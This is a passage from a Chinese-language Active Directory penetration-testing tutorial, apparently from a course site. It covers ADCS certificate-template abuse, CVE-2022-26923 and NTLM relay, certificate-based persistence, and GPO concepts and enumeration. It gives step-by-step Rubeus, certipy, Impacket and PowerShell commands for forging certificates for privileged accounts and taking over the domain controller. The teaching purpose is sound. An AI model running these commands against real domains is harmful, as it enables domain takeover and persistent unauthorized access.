0BDAoBAqCCBP4wggT6MBwGCiqGSIb3DQEMAQMwDgQIX5a2tud/+8wCAggABIIE2A4Butgl/pUQTxezpnHH4MVQrrYTdKRrpsMRpABEhm4H+U5JNLlVRsarqqP5Z76mskdUDSzLTlYO/XhOQhCeERU2daUCVjF1/cf0BZ1ihER6/u62KbExTHyK2gENUKa9HJIW5u/t3CIq0ec5ypg+SI37q/aNk0hsCvbcrkwqdWzyPMsnLtLRnLtBK4Kqp/DVY0/ZflvI5qGZDSFmPB6tJcTCmnyEB+Tr4T03XyNhm6v9Le0EvcA5iRWeh8ek37ilO5dkcs2oKJf2q9PQOfI06XxWawJQ2BPliAlQcVQBAik3ObBe/WIf4Ki6PzpoM2Bzx5IyYA9Icf5fwjmet51BXpF3njFddEGa/R5S6S4o4VSY3V/R/sBteYpZNPvEq2E5GEJ139rqXzIrEQlvjPCctrcqznkxRCR8k53oG/MIkONqhSBSYHTCQ7e1rEVnQOtxhZH5Lr8NNgX1CaYDcfbEIp5XakmSELM9QdysG+N14d1gP8Gofc2lTIZQGqvcWmu52xyyw4RgMEWza7nJkEzUdCL/cbMk6TdGPejR/9QaZG/cZP0VA35eaN10ImSuW8SYMf7GyTY8YNJ2QYcYGBPLeuuwneWFpNgRj0th5k2IfkKuMW+PC9E/O0+FJmKwLCNTUAYt7KXX0eKotiVUXP+P2zWh6aMZJrMHZ/OfJ4SeSVzCVHvVMlm4G0sKksHdR7TQ8WBUSF5zJ5egFh0aRSy2IRWz3wcWpyzLX8mx3vKG4MOb9JipCfSCiJCel5nlpTaamhrNn1AioKYOWBoY8nFl2zG/Wh/wSjcECDmE6xiwsOV+JvS9mVziD6VXD1LN+vSKmS1bI0JdhdYWDEKAhAgvlr1OBhVfP0H9xw7IU31Xi+PZTL96gB+F2oNxESxIGKKMR7O/XkKbYabNvOAp3i2p7J8VSEaCJyuv9e5HKpl8HqFqLKO8RY94NyTBn4p/f+9qJ+G4737Sp62VcqUXDjnpS9MlYaSMMNzI80q3/kCqZ/uuu3Vhg98Pf2rCo22St3eRWU18sRSicuiD7y2Y390hObRFhesCmBIC9oMhXlbK1Wl6sTpPs3YUzMnHy2/uRTXBc5R3oB+asPnIzwFL7AEMAzpzNqbHARS8wIExIQhwj4j4svZWxPDeUVrUxS066XBPFC+eravkogu/M7wMFAqwIgOP23moSGosfQ0Iz7Z0Ekojz2FFYRJTNvrtEiYWfZ15T+6FFpPuWIqtGID3SK39NxtEsLB5w0ULmyHCmXSvY+cAmIFOsJeO+m0f/m6kiqPdcJZNgdzUcRWpk3eIGi/hLT961h/7IrYNvOSw8I8iayfw6hYkke74bDW7kYl5JQhfAyddiY6BNDJHW2K7/egLb5CDW/fsp7NGiZtQb0boCa/hbpOE4xvt/hXlLN+RYP2uUDBkYGV5r2/caHrQAyb/N6y6PtMEbkppDEVrdoOr+NEgD6265dEV87wE0lZxVrt6b0yHldavVlqfXISdfzllxTRlRZXTjQBCsj5YK19zo8XiOceu8cBQjRpJpLWstqhy8Ry80J0uM/AleumnZhO3bUuQttDL22RxW9AGoGGWaEv+23CHlbFGmQrbaLhc5cllLsawxOoBLShysIWZ1TrvRSz+Z8+RXpErMMXU1eKPnUAFoPHIuJJZg+wxgZIwIwYJKoZIhvcNAQkVMRYEFNGHRpc1ZOH0AvWIxk2uo3x4QZx8MGsGCSsGAQQBgjcRATFeHlwATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAdgAxAC4AMDAxMCEwCQYFKw4DAhoFAAQUGD0hgURkr+1P4v
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/JcE2wKcWbx4naGSt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/JcE2wKcWbx4naGSt-image.png)

将 **pfx** 格式的证书上传到服务器上，也可以使用 base64 编码后的内容。最后，使用 Rubeus 通过该证书申请高权限用户的 TGT。

```powershell
rubeus.exe asktgt /user:<模仿的用户> /certificate:<证书文件或内容> /password:<密码> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/oPctyf4LOhchJCZU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/oPctyf4LOhchJCZU-image.png)

##### **可写的证书模板**

对于 Vuln2 模板，我们不可以指定任意的用户名，但是用户 justin 对其具有修改权，那么思路便很明确，修改该证书模板，使其与 Vuln1 一样，用户可以指定任意用户名，然后后面的步骤自然是一致的。

```shell
certipy template -template <模板名称> -u <用户> -p <密码> -dc-ip <DC IP> -target <目标地址>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/qsHqbqV49oi4jURP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/qsHqbqV49oi4jURP-image.png)

在这之后，我们发现 Vuln2 也允许用户自行指定 SAN 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/j1U1mFmFlv2mW66F-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/j1U1mFmFlv2mW66F-image.png)

##### **CVE-2022-26923**

在2022 年，一个有关 ADCS 的严重域内特权提升的漏洞被披露，低权限用户可以利用此漏洞接管整个域。在讨论 RBCD 时，我们知道默认情况下每个域用户最多可以向域内添加 10 台主机，因为有些公司允许 BYOD 策略。 而用户自然是被添加的主机的所有者。 因此，他们对被添加的计算机的某些属性 (例如 **dnsHostName** 和 **servicePrincipalName**) 具有写权限。

我们可以将被添加的计算机的 **dnsHostName** 修改为**域控制器的主机名**。 但是，因为每个计算机对象都被设置了 SPN，并且随着计算机的 dnsHostName 属性更新，SPN 也会相应更新。 每个 SPN 在域内都是唯一的。 因此，会产生 SPN 冲突。 要绕过这个限制，我们可以删除已添加的计算机的 SPN，然后更新其 dnsHostName 属性。 之后，我们可以使用 Machine 证书模板为新注册的计算机申请证书，最后请求 TGT。 由于被添加的计算机的 dnsHostName 与域控制器的相同，我们实际上将获得了 Dc03 的证书，而不是新添加的计算机的。

综上所述，利用步骤如下。

1：拿下一低特权域用户  
2：添加一台新的计算机帐户  
3：删除新计算机帐户的 SPN 属性。  
4：将 dnsHostName 属性更新为 Dc03 的 FQDN  
5：为已添加的计算机申请证书，但该证书是针对域控制器的  
6：为域控制器请求 TGT  
7：使用 DCSync 检索任何凭证或在 Dc03上获取 SYSTEM 访问权限

我们可以使用 powermad.ps1 或者 Impacket 来添加一个新的主机帐号

```shell
python3 addcomputer.py '<域FQDN>/<用户名>:<密码>' -method LDAPS -computer-name 'ADCS' -computer-pass '123' -dc-ip <DC IP>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/3KCrJE4us4ylfzE0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/3KCrJE4us4ylfzE0-image.png)

然后清除掉 ADCS 主机的 SPN，并且将其 dnsHostname 指定为 dc03.med-factory.local

```powershell
Set-ADComputer <主机名> -ServicePrincipalName @{}
Set-ADComputer <主机名> -DnsHostName <域控制器FQDN>
Get-ADComputer <主机名> -properties dnshostname,serviceprincipalname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/tZupkt2uOrhWzX51-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/tZupkt2uOrhWzX51-image.png)

我们看到，DnsHostname 已经被修改成 Dc03 的了，SPN 也不见了。接下来，使用 certipy 为新增的计算机申请证书：

```shell
certipy req -username 'ADCS$@<域FQDN>' -password 123 -ca <CA名> -dc-ip <DC IP> -template Machine
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/J3NfgcvxGnXiaglc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/J3NfgcvxGnXiaglc-image.png)

使用 Rubeus 根据证书申请 TGT，我们获得了 **Dc03$** 主机账号的 TGT 票据。我们可以根据之前所学，要么使用 Dcsync 提取任意用户的凭证，要么利用 S4U2Self 将其转换为 cifs 的 TGS。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/OOHTajoOe6QEvnmd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/OOHTajoOe6QEvnmd-image.png)

##### **基于ADCS Web 终端的 NTLM 中继**

ADCS 还支持 Web 证书注册接口，终端是 **http(s)://&lt;ADCS服务器&gt;/certsrv/**。

 该终端允许用户通过基于 Web 的界面请求和检索证书，而不是通过 Certificates MMC 管理单元或 certreq 命令行工具使用传统的证书注册过程。 此功能允许无法直接访问 ADCS 基础设施的远程用户或设备轻松注册和检索证书。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/2VyyDQjDGV5i5Bc2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/2VyyDQjDGV5i5Bc2-image.png)

但是，该终端容易受到 NTLM 中继攻击。 我们可以使用 **SpoolSample** 或 **PetitPotam** 等工具，强制域控制器向攻击者的中继服务器进行身份认证，然后中继服务器将请求，中继到 CA 以获得域控制器的证书。NTLM 中继的技术细节我们会在后续章节说明。

### **持久化**

我们还可以通过 ADCS 实现访问持久化。 通常来说，模板 **User** 和 **Machine** 是可用的，默认情况下允许任何域用户/计算机申请证书。

##### **用户持久化**

申请用户证书是保持访问持久性的好方法，因为证书默认有效期为一年，无论密码是否更改。 请求证书不与 **lsass.exe** 交互，因此它有更好的 OPSEC。

要为当前用户申请证书，请执行以下命令：

```powershell
certify.exe request /ca:<CA> /template:User
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/49JgoUgbkz5bIioR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/49JgoUgbkz5bIioR-image.png)

##### **主机持久化**

计算机帐户是一种特殊类型的域用户，每个计算机帐户都以 **$** 结尾。 因此，该过程类似于请求用户证书。

请求计算机证书需要本地管理员权限，添加标志 **/machine** 告诉 Certify 提升到 **SYSTEM**。

```powershell
certify.exe request  /ca:<CA>/template:Machine  /machine
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/EkTK3p0m8l4bv5Wf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/EkTK3p0m8l4bv5Wf-image.png)

# GPO的利用

在 AD 环境中进行渗透测试时，GPO 对我们来说会是一个具有吸引力的目标。如果我们对 GPO 具有修改权限或更高权限，我们就可以攻陷其他用户并获得**远程代码执行**或/和**横向移动**，以及**持久化访问**。 以下屏幕截图显示了 PROD 域 中的所有 GPO。 在开始枚举和利用之前，让我们熟悉一些有关 GPO 的术语。

### **概念与术语**

#### **组策略**

组策略是 Windows 操作系统的一项功能，用于控制用户和计算机帐户的工作环境。 组策略在 Active Directory 环境中提供操作系统、应用程序和用户设置的集中管理和配置。

#### **GPO**

组策略对象 (GPO) 是一组设置，用于定义系统的配置及其对预定义用户组的作用。 GPO 可以链接到 AD 中的**站点**、**域**或**组织单位 (OU)**。 它们可用于配置系统设置、安装软件以及将安全策略应用于这些容器中的用户和计算机。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/l2vJkLxoIgMlWMiP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/l2vJkLxoIgMlWMiP-image.png)

新建域中有两个默认 GPO：**默认域控制器策略**和**默认域策略**。每个 GPO 都有一个唯一的 GUID。 例如，默认域控制器策略的 GUID 是 **{6AC1786C-016F-11D2-945F-00C04fB984F9}**，每个域都将具有相同的值。自定义 GPO **AppLocker** 的 GUID 是 **{6CBEAF1A-9C1D-4FEA-A0A8-4D4053996030}**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/mRTtXii9Q9AEQ4kY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/mRTtXii9Q9AEQ4kY-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/pOlFAhvz3dURVxPX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/pOlFAhvz3dURVxPX-image.png)

#### **OU 组织单位**

组织单位 (OU) 是一个容器对象，可以容纳其他 AD 对象，例如用户帐户、计算机帐户和其他 OU。OU 用于分层组织和管理 AD 对象，并可用于委派对特定对象或对象组的管理控制。 PROD 域中有 6 个 OU； 它们分别是 **Domain Controllers**,、**Groups**, **Assets**,、**File Server**,、**Web Server**、**SQL Server**。其中，OU Assets 包含了 2 个 OU：File Server, SQL Server。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/NnU58YB1VHaAJfpR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/NnU58YB1VHaAJfpR-image.png)

#### **GPLink**

GPLink，即 GPO 链接，可以连接到 AD 容器，例如站点、域或 OU。GPO 链接将 GPO 应用于它们链接到的容器内的对象。GPO 链接可以被**启用**或**禁用**、**强制**或**不强制**，以及配置 GPO 作用的顺序。一个 GPO 可以链接到多个 OU，链接到 OU 的 GPO 将应用于该 OU 和所有子 OU 中的所有对象。 但是，如果链接**已启用但未强制**，则子 OU 可以选择**阻止继承**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/uK8GXyOBuJr7R1oM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/uK8GXyOBuJr7R1oM-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/KybC8Czlm9Fp933w-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/KybC8Czlm9Fp933w-image.png)

以 PROD 的上下文为例子，GPO **Writable** 作用于 **Assets** 这个 OU，默认情况下，Assets 包含的 2 个子 OU 全部会继承该 GPO 的作用。除非该 GPLink 被配置了启用但不强制，且子 OU 选择阻止继承。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Ljg5KaZOIDCsDEKV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Ljg5KaZOIDCsDEKV-image.png)

在我们的例子中，GPO AppLocker 被链接到了 File Server，RunAsPPL 被链接到了 SQL Server，分别是域主机 File01，Srv0 被作用。 而默认域策略链接到 PROD 域，默认域控制器策略链接到了 OU Domain Controllers。

#### **安全筛选**

安全过滤是指定哪些用户和组帐户应受 GPO 影响的过程。 这允许管理员将策略应用于特定用户组，而不是组织单位 (OU) 中的所有用户。 我们注意到 GPO 的默认安全过滤设置是 Authenticated Users 组。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/LcggctShfcqRKbjl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/LcggctShfcqRKbjl-image.png)

#### **WMI 筛选器**

WMI 过滤是 GPO 的一项功能，它允许管理员仅在满足 **Windows Management Instrumentation (WMI)** 查询的条件时才应用 GPO，进一步限制哪些计算机和用户受到影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/qtobomtEB6p79DK0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/qtobomtEB6p79DK0-image.png)

WMI 查询的语法与 SQL 查询非常相似； 例如，要过滤所有 64 位计算机（尽管所有计算机都满足此查询），WMI 查询应该是：

```sql
SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="64-bit"
```

PROD 域中存在一个 WMI筛选器 Example，筛选出了所有的 64 位主机。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/4RhNcDwM0huBNqbw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/4RhNcDwM0huBNqbw-image.png)

一个 GPO 一次只能分配 1 个 WMI 筛选器，并且域主体可以对其拥有 DACL。因此，WMI 过滤也会成为攻击目标。

#### **SYSVOL**

在 Dc01 上，**SYSVOL** 共享目录位于 **C:\\windows\\sysvol**。默认情况下，它对于域中所有认证用户都是可读的。SYSVOL 是 Windows AD 环境中域控制器上的一个文件夹，其中包含所有 GPO 策略文件的服务器副本。它们被复制到域中的所有其他域控制器。SYSVOL 文件夹确保相同的组策略和登录脚本文件在域中的所有计算机上可用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/R1h88Pge0Szy2Eym-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/R1h88Pge0Szy2Eym-image.png)

#### **组策略首选项**

组策略首选项 (GPP) 是 AD 中组策略的一项功能，允许管理员配置和管理传统组策略设置未涵盖的设置。它扩展了组策略，使我们能够配置未包含在标准组策略设置中的设置，例如映射驱动器、计划任务和注册表设置。比如我们添加了一个GPP，它从指定的 SMB 服务器拉取一个文件，保存到 C 盘根目录。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/DDa5dG8E8CoZYpwF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/DDa5dG8E8CoZYpwF-image.png)

添加完之后，在受影响的主机上，例如 File01，执行 gpupdate /force 命令。然后，文件就被拉取下来了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/6nPRttdBhbS4TDNN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/6nPRttdBhbS4TDNN-image.png)

#### **客户端扩展**

根据 Microsoft[ https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11)](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11)) ，组策略首选项是**组策略客户端扩展 (CSE)** 的集合。 属性 **gPCMachineExtensionNames** 指定了组策略需要哪些 CSE。根据截图，上文我们提到的能拉取文件的 GPP 的preference值为 **\[{00000000-0000-0000-0000-000000000000}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}\]\[{7150F9BF-48AD-4DA4-A49C-29EF4A836 9BA }{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}\]**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/5UoVG39Kvclm7qzr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/5UoVG39Kvclm7qzr-image.png)

  
根据 [https://gist.github.com/MyITGuy/92dcede89ab861ffb31cac9f284ffcc3](https://gist.github.com/MyITGuy/92dcede89ab861ffb31cac9f284ffcc3) 的脚本，这个值所对应的含义是 **\[{Core GPO Engine}{Preference Tool CSE GUID Files}\]\[{Preference CSE GUID Files}{Preference Tool CSE GUID Files }\]**

```shell
	{00000000-0000-0000-0000-000000000000}  Core GPO Engine  
	{0E28E245-9368-4853-AD84-6DA3BA35BB75}  Preference CSE GUID Environment Variables  
	{0F6B957D-509E-11D1-A7CC-0000F87571E3}  Tool Extension GUID (Computer Policy Settings)  
	{0F6B957E-509E-11D1-A7CC-0000F87571E3}  Tool Extension GUID (User Policy Settings) – Restrict Run  
	{1612b55c-243c-48dd-a449-ffc097b19776}  Preference Tool CSE GUID Data Sources  
	{17D89FEC-5C44-4972-B12D-241CAEF74509}  Preference CSE GUID Local users and groups  
	{1A6364EB-776B-4120-ADE1-B63A406A76B5}  Preference CSE GUID Devices  
	{1b767e9a-7be4-4d35-85c1-2e174a7ba951}  Preference Tool CSE GUID Devices  
	{25537BA6-77A8-11D2-9B6C-0000F8080861}  Folder Redirection  
	{2EA1A81B-48E5-45E9-8BB7-A6E3AC170006}  Preference Tool CSE GUID Drives  
	{3060E8CE-7020-11D2-842D-00C04FA372D4}  Remote Installation Services.  
	{35141B6B-498A-4CC7-AD59-CEF93D89B2CE}  Preference Tool CSE GUID Environment Variables  
	{35378EAC-683F-11D2-A89A-00C04FBBCFA2}  Registry Settings  
	{3610EDA5-77EF-11D2-8DC5-00C04FA31A66}  Microsoft Disk Quota  
	{3A0DBA37-F8B2-4356-83DE-3E90BD5C261F}  Preference CSE GUID Network Options  
	{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}  Preference Tool CSE GUID Files  
	{3BFAE46A-7F3A-467B-8CEA-6AA34DC71F53}  Preference Tool CSE GUID Folder Options  
	{3EC4E9D3-714D-471F-88DC-4DD4471AAB47}  Preference Tool CSE GUID Folders  
	{40B66650-4972-11D1-A7CA-0000F87571E3}  Scripts (Logon/Logoff) Run Restriction  
	{42B5FAAE-6536-11d2-AE5A-0000F87571E3}  ProcessScriptsGroupPolicy  
	{47BA4403-1AA0-47F6-BDC5-298F96D1C2E3}  Print Policy in PolicyMaker  
	{4CFB60C1-FAA6-47f1-89AA-0B18730C9FD3}  Internet Explorer Zonemapping  
	{516FC620-5D34-4B08-8165-6A06B623EDEB}  Preference Tool CSE GUID Ini Files  
	{53D6AB1D-2488-11D1-A28C-00C04FB94F17}  Certificates Run Restriction  
	{5794DAFD-BE60-433f-88A2-1A31939AC01F}  Preference CSE GUID Drives  
	{5C935941-A954-4F7C-B507-885941ECE5C4}  Preference Tool CSE GUID Internet Settings  
	{6232C319-91AC-4931-9385-E70C2B099F0E}  Group Policy Folders  
	{6232C319-91AC-4931-9385-E70C2B099F0E}  Preference CSE GUID Folders  
	{6A4C88C6-C502-4f74-8F60-2CB23EDC24E2}  Preference CSE GUID Network Shares  
	{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}  Preference CSE GUID Files  
	{728EE579-943C-4519-9EF7-AB56765798ED}  Preference CSE GUID Data Sources  
	{74EE6C03-5363-4554-B161-627540339CAB}  Preference CSE GUID Ini Files  
	{79F92669-4224-476c-9C5C-6EFB4D87DF4A}  Preference Tool CSE GUID Local users and groups  
	{7B849a69-220F-451E-B3FE-2CB811AF94AE}  Internet Explorer User Accelerators/PolicyMaker  
	{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}  Computer Restricted Groups  
	{827D319E-6EAC-11D2-A4EA-00C04F79F83A}  Security   
	{88E729D6-BDC1-11D1-BD2A-00C04FB9603F}  Folder Redirection  
	{8A28E2C5-8D06-49A4-A08C-632DAA493E17}  Deployed Printer Connections  
	{91FBB303-0CD5-4055-BF42-E512A681B325}  Preference CSE GUID Services  
	{942A8E4F-A261-11D1-A760-00C04FB9603F}  Software Installation (Computers).  
	{949FB894-E883-42C6-88C1-29169720E8CA}  Preference Tool CSE GUID Network Options  
	{9AD2BAFE-63B4-4883-A08C-C3C6196BCAFD}  Preference Tool CSE GUID Power Options  
	{A2E30F80-D7DE-11d2-BBDE-00C04F86AE3B}  Internet Explorer Maintenance policy processing  
	{A3F3E39B-5D83-4940-B954-28315B82F0A8}  Preference CSE GUID Folder Options  
	{A8C42CEA-CDB8-4388-97F4-5831F933DA84}  Preference Tool CSE GUID Printers  
	{AADCED64-746C-4633-A97C-D61349046527}  Preference CSE GUID Scheduled Tasks  
	{B087BE9D-ED37-454f-AF9C-04291E351182}  Preference CSE GUID Registry  
	{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}  EFS Recovery  
	{B587E2B1-4D59-4e7e-AED9-22B9DF11D053}  802.3 Group Policy  
	{B9CCA4DE-E2B9-4CBD-BF7D-11B6EBFBDDF7}  Preference Tool CSE GUID Regional Options  
	{BACF5C8A-A3C7-11D1-A760-00C04FB9603F}  Software Installation (Users) Run Restriction  
	{BC75B1ED-5833-4858-9BB8-CBF0B166DF9D}  Preference CSE GUID Printers  
	{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}  Preference Tool CSE GUID Registry  
	{BFCBBEB0-9DF4-4c0c-A728-434EA66A0373}  Preference Tool CSE GUID Network Shares  
	{C418DD9D-0D14-4efb-8FBF-CFE535C8FAC7}  Preference CSE GUID Shortcuts  
	{C631DF4C-088F-4156-B058-4375F0853CD8}  Microsoft Offline Files  
	{C6DC5466-785A-11D2-84D0-00C04FB169F7}  Application Management  
	{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}  Preference Tool CSE GUID Scheduled Tasks  
	{CC5746A9-9B74-4be5-AE2E-64379C86E0E4}  Preference Tool CSE GUID Services  
	{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}  TCPIP  
	{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}  Preference Tool CSE GUID Shortcuts  
	{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}  Internet Explorer Machine Accelerators  
	{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}  Policy Maker  
	{CF848D48-888D-4F45-B530-6A201E62A605}  Preference Tool CSE GUID Start Menu  
	{D02B1F72-3407-48AE-BA88-E8213C6761F1}  Tool Extension GUID (Computer Policy Settings)  
	{D02B1F73-3407-48AE-BA88-E8213C6761F1}  Tool Extension GUID (User Policy Settings)  
	{e437bc1c-aa7d-11d2-a382-00c04f991e27}  IP Security  
	{E47248BA-94CC-49C4-BBB5-9EB7F05183D0}  Preference CSE GUID Internet Settings  
	{E4F48E54-F38D-4884-BFB9-D4D2E5729C18}  Preference CSE GUID Start Menu  
	{E5094040-C46C-4115-B030-04FB2E545B00}  Preference CSE GUID Regional Options  
	{E62688F0-25FD-4c90-BFF5-F508B9D2E31F}  Preference CSE GUID Power Options  
	{F0DB2806-FD46-45B7-81BD-AA3744B32765}  Policy Maker  
	{F17E8B5B-78F2-49A6-8933-7B767EDA5B41}  Policy Maker  
	{F27A6DA8-D22B-4179-A042-3D715F9E75B5}  Policy Maker  
	{f3ccc681-b74c-4060-9f26-cd84525dca2a}  Audit Policy Configuration  
	{F581DAE7-8064-444A-AEB3-1875662A61CE}  Policy Maker  
	{F648C781-42C9-4ED4-BB24-AEB8853701D0}  Policy Maker  
	{F6E72D5A-6ED3-43D9-9710-4440455F6934}  Policy Maker  
	{F9C77450-3A41-477E-9310-9ACD617BD9E3}  Group Policy Applications  
	{FB2CA36D-0B40-4307-821B-A13B252DE56C}  Enterprise QoS  
	{FC715823-C5FB-11D1-9EEF-00A0C90347FF}  Internet Explorer Maintenance Extension protocol  
	{FD2D917B-6519-4BF7-8403-456C0C64312F}  Policy Maker  
	{FFC64763-70D2-45BC-8DEE-7ACAF1BA7F89}  Policy Maker  
```

### **枚举**

我们有多种方式来枚举GPO，无论是通过系统自身特性，还是工具。收集足够的信息对于利用 GPO 至关重要。

#### **SYSVOL**

考虑到 SYSVOL 包含所有 GPO 的策略文件，并且任何认证的域用户都可以访问此共享，我们可以检查文件和文件夹以枚举 GPO 信息。 访问UNC路径 **\\\\dc01.prod.raven-med.local\\sysvol\\prod.raven-med.local\\policies**，我们可以看到所有GPO的文件夹：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/BmiT9akaUIFbS6rV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/BmiT9akaUIFbS6rV-image.png)

每个文件夹都是 **{GUID}** 的格式，因此，文件夹 **{6CBEAF1A-9C1D-4FEA-A0A8-4D4053996030}** 存储 GPO AppLocker 的策略文件。GPO 文件夹中有 **Machines** 和 **User** 两个文件夹和一个 ini 文件 **GPT.INI**。ini文件包含版本信息，如果版本值增加，命令 gpupdate 将应用新设置。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/MYZSHHLnif1CRuP0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/MYZSHHLnif1CRuP0-image.png)

我们在 Machine 文件夹中找到一个文件 Registry.pol； 它包含详细的 AppLocker 设置。虽然显示较为凌乱，但是我们还是能提取到配置信息的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/cyevRXqe0hxi5OQv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/cyevRXqe0hxi5OQv-image.png)

查看 GPO RunAsPPL 的配置文件，我们发现 Registry.xml 文件配置了作用于目标 OU 的注册表设置

```xml
<?xml version="1.0" encoding="utf-8"?>
<RegistrySettings clsid="{A3CCFC41-DFDB-43a5-8D26-0FE8B954DA51}"><Registry clsid="{9CD4B2F4-923D-47f5-A062-E897DD1DAD50}" name="RunAsPPL" status="RunAsPPL" image="12" changed="2023-01-29 00:35:32" uid="{08A03E5C-2C7C-4680-80DF-5913AC43ECD5}"><Properties action="U" displayDecimal="0" default="0" hive="HKEY_LOCAL_MACHINE" key="SYSTEM\CurrentControlSet\Control\Lsa" name="RunAsPPL" type="REG_DWORD" value="00000001"/></Registry>
</RegistrySettings>

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/mQ7onaxR5p7Qfq2L-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/mQ7onaxR5p7Qfq2L-image.png)

#### **寻血猎犬**

在 BloodHound 中，我们可以直观地观察域对象与 GPO 之间的关系。例如，计算机帐户 **Srv01$** 对GPO **Writable** 具有修改权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Mp6VeNWKiaDseTUj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Mp6VeNWKiaDseTUj-image.png)

而 Writable 影响 OU **Assets**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/BPwxSy1mRj2HHdii-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/BPwxSy1mRj2HHdii-image.png)

因为 Assets 包含子 OU，最终有 2 台域主机被 Writable 所影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/TAr2uTJiFaOrfOsJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/TAr2uTJiFaOrfOsJ-image.png)

#### **PowerView**

我们在前面的章节中简要地谈到了使用 PowerView 来枚举 GPO，让我们回顾一下，以 GPO AppLocker 为例。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/nbezZvtVo2ggDAcA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/nbezZvtVo2ggDAcA-image.png)

我们可以看到 GPO 的多个属性，例如 displayname、GUID、gpcmachineextensionnames、版本信息等。

要查找对 GPO 具有修改权限的普通用户 (非域管理员等高权限用户)，执行以下命令：

```powershell
